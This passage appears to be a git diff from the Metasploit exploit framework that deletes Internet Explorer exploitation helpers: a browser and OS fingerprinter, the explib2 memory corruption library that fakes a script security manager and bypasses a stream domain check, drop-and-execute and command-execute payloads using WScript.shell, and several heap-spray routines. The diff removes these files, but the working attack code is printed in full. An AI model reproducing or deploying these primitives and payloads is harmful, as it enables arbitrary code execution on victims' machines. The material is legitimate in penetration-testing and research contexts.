= "Windows 2003"; } - else if (version.indexOf("windows nt 6.0") != -1) { os_name = "Windows Vista"; } - else if (version.indexOf("windows nt 6.1") != -1) { os_name = "Windows 7"; } - else if (version.indexOf("windows nt 6.2") != -1) { os_name = "Windows 8"; } - else if (version.indexOf("windows nt 6.3") != -1) { os_name = "Windows 8.1"; } - } - if (os_name == oses_linux && (!os_vendor || 0 == os_vendor.length)) { - if (version.indexOf("gentoo") != -1) { os_vendor = "Gentoo"; } - else if (version.indexOf("ubuntu") != -1) { os_vendor = "Ubuntu"; } - else if (version.indexOf("debian") != -1) { os_vendor = "Debian"; } - else if (version.indexOf("rhel") != -1) { os_vendor = "RHEL"; } - else if (version.indexOf("red hat") != -1) { os_vendor = "RHEL"; } - else if (version.indexOf("centos") != -1) { os_vendor = "CentOS"; } - else if (version.indexOf("fedora") != -1) { os_vendor = "Fedora"; } - else if (version.indexOf("android") != -1) { os_vendor = "Android"; } - } - - //-- - // Language - //-- - if (navigator.systemLanguage) { - // ie - os_lang = navigator.systemLanguage; - } else if (navigator.language) { - // gecko derivatives, safari, opera - os_lang = navigator.language; - } else { - // some other browser and we don't know how to get the language, so - // just guess english - os_lang = "en"; - } - - //-- - // Architecture - //-- - if (typeof(navigator.cpuClass) != 'undefined') { - // Then this is IE or Opera9+ and we can grab the arch directly - switch (navigator.cpuClass) { - case "x86": - arch = arch_x86; - break; - case "x64": - arch = arch_x86_64; - break; - } - } - if (!arch || 0 == arch.length) { - // We don't have the handy-dandy navagator.cpuClass, so infer from - // platform - version = navigator.platform; - //document.write(version + "\\n"); - // IE 8 does a bit of wacky user-agent switching for "Compatibility View"; - // 64-bit client on Windows 7, 64-bit: - // Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0) - // 32-bit client on Windows 7, 64-bit: - // Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0) - // 32-bit client on Vista, 32-bit, "Compatibility View": - // Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0) - // - // Report 32-bit client on 64-bit OS as being 32 because exploits will - // need to know the bittedness of the process, not the OS. - if ( ("Win32" == version) || (version.match(/i.86/)) ) { - arch = arch_x86; - } else if (-1 != version.indexOf('x64') || (-1 != version.indexOf('x86_64'))) { - arch = arch_x86_64; - } else if (-1 != version.indexOf('PPC')) { - arch = arch_ppc; - } - } - - this.ua_is_lying = ua_is_lying; - this.os_name = os_name; - this.os_vendor = os_vendor; - this.os_flavor = os_flavor; - this.os_device = os_device; - this.os_sp = os_sp; - this.os_lang = os_lang; - this.arch = arch; - this.ua_name = ua_name; - this.ua_version = ua_version; - this.ua_version = ua_version; - - return { os_name:os_name, os_vendor:os_vendor, os_flavor:os_flavor, os_device:os_device, os_sp:os_sp, os_lang:os_lang, arch:arch, ua_name:ua_name, ua_version:ua_version }; -}; // function getVersion - -os_detect.searchVersion = function(needle, haystack) { - var index = haystack.indexOf(needle); - var found_version; - if (index == -1) { return; } - found_version = haystack.substring(index+needle.length+1); - if (found_version.indexOf(' ') != -1) { - // Strip off any junk at the end such as a CLR declaration - found_version = found_version.substring(0,found_version.indexOf(' ')); - } - return found_version; -}; - - -/* - * Return -1 if a < b, 0 if a == b, 1 if a > b - */ -ua_ver_cmp = function(ver_a, ver_b) { - // shortcut the easy case - if (ver_a == ver_b) { - return 0; - } - - a = ver_a.split("."); - b = ver_b.split("."); - for (var i = 0; i < Math.max(a.length, b.length); i++) { - // 3.0 == 3 - if (!b[i]) { b[i] = "0"; } - if (!a[i]) { a[i] = "0"; } - - if (a[i] == b[i]) { continue; } - - a_int = parseInt(a[i]); - b_int = parseInt(b[i]); - a_rest = a[i].substr(a_int.toString().length); - b_rest = b[i].substr(b_int.toString().length); - if (a_int < b_int) { - return -1; - } else if (a_int > b_int) { - return 1; - } else { // == - // Then we need to deal with the stuff after the ints, e.g.: - // "b4pre" - if (a_rest == "b" && b_rest.length == 0) { - return -1; - } - if (b_rest == "b" && a_rest.length == 0) { - return 1; - } - // Just give up and try a lexicographical comparison - if (a_rest < b_rest) { - return -1; - } else if (a_rest > b_rest) { - return 1; - } - } - } - // If we get here, they must be equal - return 0; -}; - -ua_ver_lt = function(a, b) { - if (-1 == this.ua_ver_cmp(a,b)) { return true; } - return false; -}; -ua_ver_gt = function(a, b) { - if (1 == this.ua_ver_cmp(a,b)) { return true; } - return false; -}; -ua_ver_eq = function(a, b) { - if (0 == this.ua_ver_cmp(a,b)) { return true; } - return false; -}; diff --git a/data/js/memory/explib2/lib/explib2.js b/data/js/memory/explib2/lib/explib2.js deleted file mode 100644 index 434b36cf4d..0000000000 --- a/data/js/memory/explib2/lib/explib2.js +++ /dev/null @@ -1,426 +0,0 @@ - - -ExpLib = (function() { - - function ExpLib( num_arrays, arr_size, base, payload ) { - this.arr1 = null; - this.arr2 = null; - this.base = base; - this.arr_size = arr_size; - this.arr_arr = null; - // Allows to control the contents of the sprayed memory. - // Have into account some array positions will be corrupted - // while leaking and modifying things. - this.arr_contents = []; - - this.payload = payload; - this.modules = {} - this.getproc = null; - this.loadlibrary = null; - - // Offset to the Origin URL in the Stream, modifying it - // allows to bypass msado15.SecurityCheck(), allowing - // for example to write stream contents to filesystem. - this.stream_origin = 0x44; - } - - ExpLib.prototype.resolveAPI = function( modulename, procname ) { - var module = this.resolveModule( modulename ); - - return this.callAPI( this.getproc, module, this.allocateString(procname) ); - } - - ExpLib.prototype.resolveModule = function( modulename ) { - if ( this.modules[modulename] ) - return this.modules[modulename]; - - var module = this.callAPI( this.loadlibrary, this.allocateString(modulename) ); - this.modules[modulename] = module; - return module; - } - - ExpLib.prototype.spray = function() { - this.arr_arr = new Array( num_arrays ); - - var decl = "["; - - for ( var i = 0; i < this.arr_size - 1; ++ i ) { - decl += '0,'; - } - - decl += '0'; - decl += ']'; - - for ( var i = 0; i < num_arrays; ++ i ) { - this.arr_arr[i] = eval(decl); - for(var j = 0; j < this.arr_contents.length; j++) { - this.arr_arr[i][j] = this.arr_contents[j]; - } - } - - } - - // Should be used before calling spray() - ExpLib.prototype.setArrContents = function(contents) { - for(var i = 0; i < this.arr_size && i < contents.length; i++) { - this.arr_contents[i] = contents[i]; - } - } - - ExpLib.prototype.setValue = function(i1, i2, v) { - this.arr_arr[i1][i2] = v; - } - - - ExpLib.prototype.setValueByAddr = function(index, addr, v) { - this.arr_arr[index][((addr % 0x1000) - 0x20) / 4] = v; - } - - ExpLib.prototype.read32 = function(addr) { - if ( addr % 4 ) { - // error - } - - if ( addr >= this.arr2_member_base ) { - return this.arr2[(addr - this.arr2_member_base)/4]; - } else { - return this.arr2[0x40000000 - (this.arr2_member_base - addr)/4] - } - } - - ExpLib.prototype.write32 = function(addr, value) { - if ( addr % 4 ) { - // error - } - - if ( value >= 0x80000000 ) - value = -(0x100000000 - value); - - //alert(((addr - this.arr2_member_base)/4).toString(16)); - if ( addr >= this.arr2_member_base ) { - this.arr2[(addr - this.arr2_member_base)/4] = value; - } else { - this.arr2[0x40000000 - (this.arr2_member_base - addr) / 4] = value; - } - } - - ExpLib.prototype.read8 = function(addr) { - var value = this.read32( addr & 0xfffffffc ); - switch ( addr % 4 ) { - case 0: return (value & 0xff); - case 1: return ((value >> 8) & 0xff); - case 2: return ((value >> 16) & 0xff); - case 3: return ((value >> 24) & 0xff); - } - - return 0; - } - - ExpLib.prototype.write8 = function(addr, value) { - var original_value = this.read32( addr & 0xfffffffc ); - var new_value; - - switch ( addr % 4 ) { - case 0: - new_value = (original_value & 0xffffff00) | (value & 0xff); - break; - - case 1: - new_value = (original_value & 0xffff00ff) | ((value & 0xff) << 8); - break; - case 2: - new_value = (original_value & 0xff00ffff) | ((value & 0xff) << 16); - break; - case 3: - new_value = (original_value & 0x00ffffff) | ((value & 0xff) << 24); - break; - } - - - this.write32( addr & 0xfffffffc, new_value ); - } - - - ExpLib.prototype.writeBytes = function(addr, bytes) { - for ( var i = 0; i + 3 < bytes.length; i += 4 ) { - var value = (bytes[i] & 0xff) | ((bytes[i+1] & 0xff) << 8) | - ((bytes[i + 2] & 0xff) << 16) | ((bytes[i + 3] & 0xff) << 24); - - this.write32( addr + i, value ); - } - - for ( ; i < bytes.length; ++ i ) { - this.write8( addr + i, bytes[i] ); - } - } - - ExpLib.prototype.writeString = function(addr, s) { - var bytes = []; - var i = 0; - for ( ; i < s.length; ++ i ) { - bytes[i] = s.charCodeAt(i); - } - - bytes[i] = 0; - - this.writeBytes( addr, bytes ); - } - - ExpLib.prototype.writeStringW = function(addr, s) { - var bytes = []; - var i = 0; - for ( ; i < s.length; ++i ) { - bytes[i * 2] = s.charCodeAt(i); - bytes[i * 2 + 1] = 0; - } - - bytes[s.length * 2] = 0; - bytes[s.length * 2 + 1] = 0; - - this.writeBytes( addr, bytes ); - } - - ExpLib.prototype.read16 = function(addr) { - if ( addr % 2 ) { - // error, not aligned - } - - var value = this.read32( addr & 0xfffffffc ); - switch ( addr % 4 ) { - case 0: return (value & 0xffff); - case 1: return ((value >> 8) & 0xffff); - case 2: return ((value >> 16) & 0xffff); - case 3: /*not supported*/ break; - } - - return 0; - } - - ExpLib.prototype.strequal = function(addr, s) { - for ( var i = 0; i < s.length; ++ i ) { - if ( this.read8(addr + i) != s.charCodeAt(i) ) - return false; - } - - return true; - } - - - ExpLib.prototype.getModuleBase = function(addr) { - - var cur_addr = addr; - - while ( cur_addr > 0 ) { - - if ( (this.read32(cur_addr) & 0xffff) == 0x5a4d ) { - return cur_addr; - } - - cur_addr -= 0x10000; - } - - return 0; - } - - - - ExpLib.prototype.getModuleBaseFromIAT = function(base, name) { - var import_table = base + this.read32( base + this.read32(base + 0x3c) + 0x80 ); - var cur_table = import_table; - - while ( cur_table < import_table + 0x1000 ) { - - var name_addr = base + this.read32(cur_table + 12); - if ( this.strequal( name_addr, name ) ) { - var iat = base + this.read32(cur_table + 16); - var func = this.read32(iat); - while ( 0 == func ) { - iat += 4; - func = this.read32(iat); - } - - return this.getModuleBase( func & 0xFFFF0000 ); - - } - - cur_table += 20; - } - - return 0; - } - - ExpLib.prototype.getProcAddress = function(base, procname) { - var export_table = base + this.read32( base + this.read32(base + 0x3c) + 0x78 ); - var num_functions = this.read32( export_table + 20 ); - var addr_functions = base + this.read32( export_table + 28 ); - var addr_names = base + this.read32( export_table + 32 ); - var addr_ordinals = base + this.read32( export_table + 36 ); - - for ( var i = 0; i < num_functions; ++ i ) { - var name_addr = this.read32( addr_names + i * 4 ) + base; - if ( this.strequal( name_addr, procname ) ) { - var ordinal = this.read16( addr_ordinals + i * 2 ); - var result = this.read32( addr_functions + ordinal * 4 ) + base; - return result; - } - } - - return 0; - } - - ExpLib.prototype.searchBytes = function(pattern, start, end) { - - if ( start >= end || start + pattern.length > end ) - return 0; - - var pos = start; - while ( pos < end ) { - for ( var i = 0; i < pattern.length; ++ i ) { - if ( this.read8(pos + i) != pattern[i] ) - break; - } - - if ( i == pattern.length ) { - return pos; - } - - ++ pos; - } - - return 0; - } - - - ExpLib.prototype.getError = function(msg) { - return this.err_msg; - } - - ExpLib.prototype.setError = function(msg) { - this.err_msg = msg; - } - - ExpLib.prototype.setStreamOrigin = function(offset) { - this.stream_origin = offset; - } - - ExpLib.prototype.getStreamOrigin = function() { - return this.stream_origin; - } - - ExpLib.prototype.memcpy = function(dst, src, size) { - var i = 0; - for ( ; i < size - 4; i += 4 ) { - this.write32( dst + i, this.read32(src + i) ); - } - - for ( ; i < size; ++ i ) { - this.write8( dst + i, this.read8(src + i) ); - } - } - - ExpLib.prototype.go = function() { - - var i = 0; - - - - for ( ; i < this.arr_arr.length - 1; ++ i ) { - this.arr_arr[i][this.arr_size + 0x1c / 4] = 0; - - if ( this.arr_arr[i][this.arr_size + 0x18 / 4] == this.arr_size ) { - this.arr_arr[i][this.arr_size + 0x14 / 4] = 0x3fffffff; - this.arr_arr[i][this.arr_size + 0x18 / 4] = 0x3fffffff; - - this.arr_arr[i + 1].length = 0x3fffffff; - - if ( this.arr_arr[i+1].length == 0x3fffffff ) { - break; - } - } - - } - - if ( i >= this.arr_arr.length - 1 ) { - this.setError( "Cannot find array with corrupt length!" ); - return false; - } - - this.arr1_idx = i; - this.arr2_idx = i + 1; - - this.arr1 = this.arr_arr[i]; - this.arr2 = this.arr_arr[i + 1]; - - this.arr2_base = this.base + 0x1000; - this.arr2_member_base = this.arr2_base + 0x20; - - var func_addr = this.leakAddress(ActiveXObject); - var script_engine_addr = this.read32(this.read32(func_addr + 0x1c) + 4); - - //alert(script_engine_addr.toString(16)); - - var original_securitymanager = this.read32( script_engine_addr + 0x21c ); - if ( !original_securitymanager ) { - // let security manager to be valid - try { - var WshShell = new ActiveXObject("WScript.shell"); - } catch (e) {} - - original_securitymanager = this.read32( script_engine_addr + 0x21c ); - } - - var original_securitymanager_vtable = this.read32(original_securitymanager); - var securitymanager_size = 0x28; - var fake_securitymanager = 0x1a1b2010; - var fake_securitymanager_vtable = fake_securitymanager + 0x28; - //alert(original_securitymanager.toString(16)); - - this.memcpy( fake_securitymanager, original_securitymanager, securitymanager_size ); - this.memcpy( fake_securitymanager_vtable, original_securitymanager_vtable, 0x70 ); - this.write32( fake_securitymanager, fake_securitymanager_vtable ); - this.write32(script_engine_addr + 0x21c, fake_securitymanager); - - var jscript9_base = this.getModuleBase( this.read32(script_engine_addr) & 0xffff0000 ); - var jscript9_code_start = jscript9_base + this.read32(jscript9_base + this.read32(jscript9_base + 0x3c) + 0x104); - var jscript9_code_end = jscript9_base + this.read32(jscript9_base + this.read32(jscript9_base + 0x3c) + 0x108); - - - this.write32( fake_securitymanager_vtable + 0x14, - this.searchBytes( [0x8b, 0xe5, 0x5d, 0xc2, 0x08], jscript9_code_start, jscript9_code_end ) ); /* mov esp, ebp; pop ebp; ret 8; */ - - this.write32( fake_securitymanager_vtable + 0x10, - this.searchBytes( [0x8b, 0xe5, 0x5d, 0xc2, 0x04], jscript9_code_start, jscript9_code_end ) ); /* mov esp, ebp; pop ebp; ret 4; */ - - this.payload.execute(this); - - - /* - * restore - */ - - this.write32( script_engine_addr + 0x21c, original_securitymanager ); - - return true; - - } - - ExpLib.prototype.leakAddress = function(obj) { - this.arr_arr[this.arr2_idx + 1][2] = obj; - return this.read32(this.arr2_member_base + 0x1008); - } - - ExpLib.prototype.switchStreamOrigin = function(stream) { - var obj = this.leakAddress(stream); - var stream_obj = this.read32(obj + 0x30); - //var url_addr = this.read32(stream_obj + 0x3c); - var url_addr = this.read32(stream_obj + this.stream_origin); - - /* - * bypass domain check - */ - this.writeStringW( url_addr, 'file:///C:/1.htm' ); - } - - return ExpLib; - -})(); diff --git a/data/js/memory/explib2/payload/drop_exec.js b/data/js/memory/explib2/payload/drop_exec.js deleted file mode 100644 index 1bba3effce..0000000000 --- a/data/js/memory/explib2/payload/drop_exec.js +++ /dev/null @@ -1,33 +0,0 @@ -function payload_drop_exec(pe) { - - this.execute = function(explib) { - - var WshShell = new ActiveXObject("WScript.shell"); - var temp = WshShell.ExpandEnvironmentStrings("%TEMP%"); - var filename = temp + "\\a.exe"; - - var bStream = new ActiveXObject("ADODB.Stream"); - var txtStream = new ActiveXObject("ADODB.Stream"); - bStream.Type = 1; - txtStream.Type = 2; - - bStream.Open(); - txtStream.Open(); - - explib.switchStreamOrigin(txtStream); - - txtStream.WriteText(pe); - txtStream.Position = 2; - txtStream.CopyTo( bStream ); - txtStream.Close(); - - explib.switchStreamOrigin(bStream); - - bStream.SaveToFile(filename, 2); - bStream.Close(); - - oExec = WshShell.Exec(filename); - } - - return this; -} diff --git a/data/js/memory/explib2/payload/exec.js b/data/js/memory/explib2/payload/exec.js deleted file mode 100644 index 704db247e6..0000000000 --- a/data/js/memory/explib2/payload/exec.js +++ /dev/null @@ -1,10 +0,0 @@ -function payload_exec(cmd) { - - this.execute = function(explib) { - - var WshShell = new ActiveXObject("WScript.shell"); - var oExec = WshShell.Exec(cmd); - } - - return this; -} diff --git a/data/js/memory/heap_spray.js b/data/js/memory/heap_spray.js deleted file mode 100644 index ca174aca80..0000000000 --- a/data/js/memory/heap_spray.js +++ /dev/null @@ -1,17 +0,0 @@ -var memory = new Array(); -function sprayHeap(shellcode, heapSprayAddr, heapBlockSize) { - var index; - var heapSprayAddr_hi = (heapSprayAddr >> 16).toString(16); - var heapSprayAddr_lo = (heapSprayAddr & 0xffff).toString(16); - while (heapSprayAddr_hi.length < 4) { heapSprayAddr_hi = "0" + heapSprayAddr_hi; } - while (heapSprayAddr_lo.length < 4) { heapSprayAddr_lo = "0" + heapSprayAddr_lo; } - - var retSlide = unescape("%u"+heapSprayAddr_hi + "%u"+heapSprayAddr_lo); - while (retSlide.length < heapBlockSize) { retSlide += retSlide; } - retSlide = retSlide.substring(0, heapBlockSize - shellcode.length); - - var heapBlockCnt = (heapSprayAddr - heapBlockSize)/heapBlockSize; - for (index = 0; index < heapBlockCnt; index++) { - memory[index] = retSlide + shellcode; - } -} \ No newline at end of file diff --git a/data/js/memory/heaplib2.js b/data/js/memory/heaplib2.js deleted file mode 100644 index 1e2fecf1a0..0000000000 --- a/data/js/memory/heaplib2.js +++ /dev/null @@ -1,192 +0,0 @@ -//heapLib2 namespace -function heapLib2() { } - -//These are attributes that will not actually create a bstr -//and directly use the back-end allocator, completely bypassing the cache -var global_attrs = ["title", "lang", "class"]; - -heapLib2.ie = function(element, maxAlloc) -{ - //128mb - this.maxAlloc = 0x8000000; - - //make sure that an HTML DOM element is passed - if(!element.nodeType || element.nodeType != 1) - throw "alloc.argument: element not valid"; - - this.element = element; - - if(maxAlloc) - this.maxAlloc = maxAlloc; - - //empty the cache - this.Oleaut32EmptyCache(); - this.Oleaut32FillCache(); - this.Oleaut32EmptyCache(); - -} - -heapLib2.ie.prototype.newelement = function(element) -{ - //make sure that an HTML DOM element is passed - if(!element.nodeType || element.nodeType != 1) - throw "alloc.argument: element not valid"; - - this.element = element; -} - -heapLib2.ie.prototype.alloc = function(attr_name, size, cache_ok) -{ - if(typeof(cache_ok)==='undefined') - cache_ok = false; - else - cache_ok = true; - - //make sure the attribute name is a string - if(typeof attr_name != "string") - throw "alloc.argument: attr_name is not a string"; - - //make sure that the attribute name is not already present in the html element - if(this.element.getAttribute(attr_name)) - throw "alloc.argument: element already contains attr_name: " + attr_name; - - //ensure the size is a number - if(typeof size != "number") - throw "alloc.argument: size is not a number: " + size; - - //make sure the size isn't one of the special values - if(!cache_ok && (size == 0x20 || size == 0x40 || size == 0x100 || size == 0x8000)) - throw "alloc.argument: size cannot be flushed from cache: " + size; - - if(size > this.maxAlloc) - throw "alloc.argument: size cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size; - - //the size must be at a 16-byte boundary this can be commented out but - //the allocations will be rounded to the nearest 16-byte boundary - if(size % 16 != 0) - throw "alloc.argument: size be a multiple of 16: " + size; - - //20-bytes will be added to the size - //<4-byte size><2-byte null> - size = ((size / 2) - 6); - - //May have to change this due to allocation side effects - var data = new Array(size).join(cache_ok ? "C" : "$"); - - var attr = document.createAttribute(attr_name); - this.element.setAttributeNode(attr); - this.element.setAttribute(attr_name, data); - -} - -//These items will allocate/free memory and should really -//only be used once per element. You can use a new element -//by calling the 'newelement' method above -heapLib2.ie.prototype.alloc_nobstr = function(val) -{ - //make sure the aval is a string - if(typeof val != "string") - throw "alloc.argument: val is not a string"; - - var size = (val.length * 2) + 6; - - if(size > this.maxAlloc) - throw "alloc_nobstr.val: string length cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size; - - var i = 0; - var set_gattr = 0; - for(i = 0; i < global_attrs.length; i++) - { - curr_gattr = global_attrs[i]; - if(!this.element.getAttribute(curr_gattr)) - { - this.element.setAttribute(curr_gattr, ""); - this.element.setAttribute(curr_gattr, val); - set_gattr = 1; - break; - } - } - - if(set_gattr == 0) - throw "alloc_nobstr: all global attributes are assigned, try a new element"; -} - -//completely bypass the cache, useful for heap spraying (see heapLib2_test.html) -heapLib2.ie.prototype.sprayalloc = function(attr_name, str) -{ - //make sure the attribute name is a string - if(typeof attr_name != "string") - throw "alloc.argument: attr_name is not a string"; - - //make sure that the attribute name is not already present in the html element - if(this.element.getAttribute(attr_name)) - throw "alloc.argument: element already contains attr_name: " + attr_name; - - //ensure the size is a number - if(typeof str != "string") - throw "alloc.argument: str is not a string: " + typeof str; - - var size = (str.length * 2) + 6; - - //make sure the size isn't one of the special values - if(size <= 0x8000) - throw "alloc.argument: bigalloc must be greater than 0x8000: " + size; - - if(size > this.maxAlloc) - throw "alloc.argument: size cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size; - - var attr = document.createAttribute(attr_name); - this.element.setAttributeNode(attr); - this.element.setAttribute(attr_name, str); -} - -heapLib2.ie.prototype.free = function(attr_name, skip_flush) -{ - if(typeof(skip_flush)==='undefined') - skip_flush = false; - else - skip_flush = true; - - //make sure that an HTML DOM element is passed - if(!this.element.nodeType || this.element.nodeType != 1) - throw "alloc.argument: element not valid"; - - //make sure the attribute name is a string - if(typeof attr_name != "string") - throw "alloc.argument: attr_name is not a string"; - - //make sure that the attribute name is not already present in the html element - if(!this.element.getAttribute(attr_name)) - throw "alloc.argument: element does not contain attribute: " + attr_name; - - //make sure the cache is full so the chunk returns the general purpose heap - if(!skip_flush) - this.Oleaut32FillCache(); - - this.element.setAttribute(attr_name, null); - - if(!skip_flush) - this.Oleaut32EmptyCache() -} - -heapLib2.ie.prototype.Oleaut32FillCache = function() -{ - for(var i = 0; i < 6; i++) - { - this.free("cache0x20"+i, true); - this.free("cache0x40"+i, true); - this.free("cache0x100"+i, true); - this.free("cache0x8000"+i, true); - } -} - -heapLib2.ie.prototype.Oleaut32EmptyCache = function() -{ - for(var i = 0; i < 6; i++) - { - this.alloc("cache0x20"+i, 0x20, true); - this.alloc("cache0x40"+i, 0x40, true); - this.alloc("cache0x100"+i, 0x100, true); - this.alloc("cache0x8000"+i, 0x8000, true); - } -} \ No newline at end of file diff --git a/data/js/memory/mstime_malloc.js b/data/js/memory/mstime_malloc.js deleted file mode 100644 index d931db004f..0000000000 --- a/data/js/memory/mstime_malloc.js +++ /dev/null @@ -1,31 +0,0 @@ -function mstime_malloc(oArg) { - var shellcode = oArg.shellcode; - var offset = oArg.offset; - var heapBlockSize = oArg.heapBlockSize; - var objId = oArg.objId; - - if (shellcode == undefined) { throw "Missing argument: shellcode"; } - if (offset == undefined) { offset = 0; } - if (heapBlockSize == undefined) { throw "Size must be defined"; } - - var buf = ""; - for (var i=0; i < heapBlockSize/4; i++) { - if (i == offset) { - if (i == 0) { buf += shellcode; } - else { buf += ";" + shellcode; } - } - else { - buf += ";#W00TA"; - } - } - - var e = document.getElementById(objId); - if (e == null) { - var eleId = "W00TB" - var acTag = "" - document.body.innerHTML = document.body.innerHTML + acTag; - e = document.getElementById(eleId); - } - try { e.values = buf; } - catch (e) {} -} \ No newline at end of file diff --git a/data/js/memory/property_spray.js b/data/js/memory/property_spray.js deleted file mode 100644 index f922e60196..0000000000 --- a/data/js/memory/property_spray.js +++ /dev/null @@ -1,38 +0,0 @@ -var sym_div_container; -function sprayHeap( oArg ) { - var shellcode = oArg.shellcode; - var offset = oArg.offset; - var heapBlockSize = oArg.heapBlockSize; - var maxAllocs = oArg.maxAllocs; - var objId = oArg.objId; - - if (shellcode == undefined) { throw "Missing argument: shellcode"; } - if (offset == undefined) { offset = 0x00; } - if (heapBlockSize == undefined) { heapBlockSize = 0x80000; } - if (maxAllocs == undefined) { maxAllocs = 0x350; } - - if (offset > 0x800) { throw "Bad alignment"; } - - sym_div_container = document.getElementById(objId); - - if (sym_div_container == null) { - sym_div_container = document.createElement("div"); - } - - sym_div_container.style.cssText = "display:none"; - var data; - junk = unescape("%u2020%u2020"); - while (junk.length < offset+0x1000) junk += junk; - - data = junk.substring(0,offset) + shellcode; - data += junk.substring(0,0x800-offset-shellcode.length); - - while (data.length < heapBlockSize) data += data; - - for (var i = 0; i < maxAllocs; i++) - { - var obj = document.createElement("button"); - obj.title = data.substring(0, (heapBlockSize-2)/2); - sym_div_container.appendChild(obj); - } -} \ No newline at end of file diff --git a/data/js/network/ajax_download.js b/data/js/network/ajax_download.js deleted file mode 100644 index 789e58e4a8..0000000000 --- a/data/js/network/ajax_download.js +++ /dev/null @@ -1,18 +0,0 @@ -function ajax_download(oArg) { - if (!oArg.method) { oArg.method = "GET"; } - if (!oArg.path) { throw "Missing parameter 'path'"; } - if (!oArg.data) { oArg.data = null; } - - var xmlHttp = new XMLHttpRequest(); - - if (xmlHttp.overrideMimeType) { - xmlHttp.overrideMimeType("text/plain; charset=x-user-defined"); - } - - xmlHttp.open(oArg.method, oArg.path, false); - xmlHttp.send(oArg.data); - if (xmlHttp.readyState == 4 && xmlHttp.status == 200) { - return xmlHttp.responseText; - } - return null; -} \ No newline at end of file diff --git a/data/js/network/ajax_post.js b/data/js/network/ajax_post.js deleted file mode 100644 index 91f6b47a1a..0000000000 --- a/data/js/network/ajax_post.js +++ /dev/null @@ -1,18 +0,0 @@ -function postInfo(path, data, cb) { - var xmlHttp = new XMLHttpRequest(); - - if (xmlHttp.overrideMimeType) { - xmlHttp.overrideMimeType("text/plain; charset=x-user-defined"); - } - - xmlHttp.open('POST', path, !!cb); - - if (cb) { - xmlHttp.onreadystatechange = function() { - if (xmlHttp.readyState == 4) { cb.apply(this, arguments); } - }; - } - - xmlHttp.send(data); - return xmlHttp; -} diff --git a/data/js/network/xhr_shim.js b/data/js/network/xhr_shim.js deleted file mode 100644 index 0cbdec39ef..0000000000 --- a/data/js/network/xhr_shim.js +++ /dev/null @@ -1,15 +0,0 @@ -if (!window.XMLHTTPRequest) { - (function() { - var idx, activeObjs = ["Microsoft.XMLHTTP", "Msxml2.XMLHTTP", "Msxml2.XMLHTTP.6.0", "Msxml2.XMLHTTP.3.0"]; - for (idx = 0; idx < activeObjs.length; idx++) { - try { - new ActiveXObject(activeObjs[idx]); - window.XMLHttpRequest = function() { - return new ActiveXObject(activeObjs[idx]); - }; - break; - } - catch (e) {} - } - })(); -} diff --git a/data/js/utils/base64.js b/data/js/utils/base64.js deleted file mode 100644 index 3cb1dfa4cb..0000000000 --- a/data/js/utils/base64.js +++ /dev/null @@ -1,126 +0,0 @@ -// Base64 implementation stolen from http://www.webtoolkit.info/javascript-base64.html -// variable names changed to make obfuscation easier -var Base64 = { - // private property - _keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", - - // private method - _utf8_encode : function ( input ){ - input = input.replace(/\r\n/g,"\\n"); - var utftext = ""; - var input_idx; - - for (input_idx = 0; input_idx < input.length; input_idx++) { - var chr = input.charCodeAt(input_idx); - if (chr < 128) { - utftext += String.fromCharCode(chr); - } - else if((chr > 127) && (chr < 2048)) { - utftext += String.fromCharCode((chr >> 6) | 192); - utftext += String.fromCharCode((chr & 63) | 128); - } else { - utftext += String.fromCharCode((chr >> 12) | 224); - utftext += String.fromCharCode(((chr >> 6) & 63) | 128); - utftext += String.fromCharCode((chr & 63) | 128); - } - } - - return utftext; - }, - - // public method for encoding - encode : function( input ) { - var output = ""; - var chr1, chr2, chr3, enc1, enc2, enc3, enc4; - var input_idx = 0; - - input = Base64._utf8_encode(input); - - while (input_idx < input.length) { - chr1 = input.charCodeAt( input_idx++ ); - chr2 = input.charCodeAt( input_idx++ ); - chr3 = input.charCodeAt( input_idx++ ); - - enc1 = chr1 >> 2; - enc2 = ((chr1 & 3) << 4) | (chr2 >> 4); - enc3 = ((chr2 & 15) << 2) | (chr3 >> 6); - enc4 = chr3 & 63; - - if (isNaN(chr2)) { - enc3 = enc4 = 64; - } else if (isNaN(chr3)) { - enc4 = 64; - } - output = output + - this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) + - this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4); - } - return output; - }, - // public method for decoding - decode : function (input) { - var output = ""; - var chr1, chr2, chr3; - var enc1, enc2, enc3, enc4; - var i = 0; - - input = input.replace(/[^A-Za-z0-9\+\/\\=]/g, ""); - - while (i < input.length) { - - enc1 = this._keyStr.indexOf(input.charAt(i++)); - enc2 = this._keyStr.indexOf(input.charAt(i++)); - enc3 = this._keyStr.indexOf(input.charAt(i++)); - enc4 = this._keyStr.indexOf(input.charAt(i++)); - - chr1 = (enc1 << 2) | (enc2 >> 4); - chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); - chr3 = ((enc3 & 3) << 6) | enc4; - - output = output + String.fromCharCode(chr1); - - if (enc3 != 64) { - output = output + String.fromCharCode(chr2); - } - if (enc4 != 64) { - output = output + String.fromCharCode(chr3); - } - - } - - output = Base64._utf8_decode(output); - - return output; - - }, - _utf8_decode : function (utftext) { - var string = ""; - var input_idx = 0; - var chr1 = 0; - var chr2 = 0; - var chr3 = 0; - - while ( input_idx < utftext.length ) { - - chr1 = utftext.charCodeAt(input_idx); - - if (chr1 < 128) { - string += String.fromCharCode(chr1); - input_idx++; - } - else if((chr1 > 191) && (chr1 < 224)) { - chr2 = utftext.charCodeAt(input_idx+1); - string += String.fromCharCode(((chr1 & 31) << 6) | (chr2 & 63)); - input_idx += 2; - } else { - chr2 = utftext.charCodeAt(input_idx+1); - chr3 = utftext.charCodeAt(input_idx+2); - string += String.fromCharCode(((chr1 & 15) << 12) | ((chr2 & 63) << 6) | (chr3 & 63)); - input_idx += 3; - } - } - - return string; - } - -}; \ No newline at end of file diff --git a/data/logos/3kom-superhack.txt b/data/logos/3kom-superhack.txt index e1fda38981..7041d227b2 100644 --- a/data/logos/3kom-superhack.txt +++ b/data/logos/3kom-superhack.txt @@ -15,5 +15,5 @@ | %bld[ OK ]%clr | |______________________________________________________________________________| | | -| http://metasploit.pro | +| http://metasploit.com 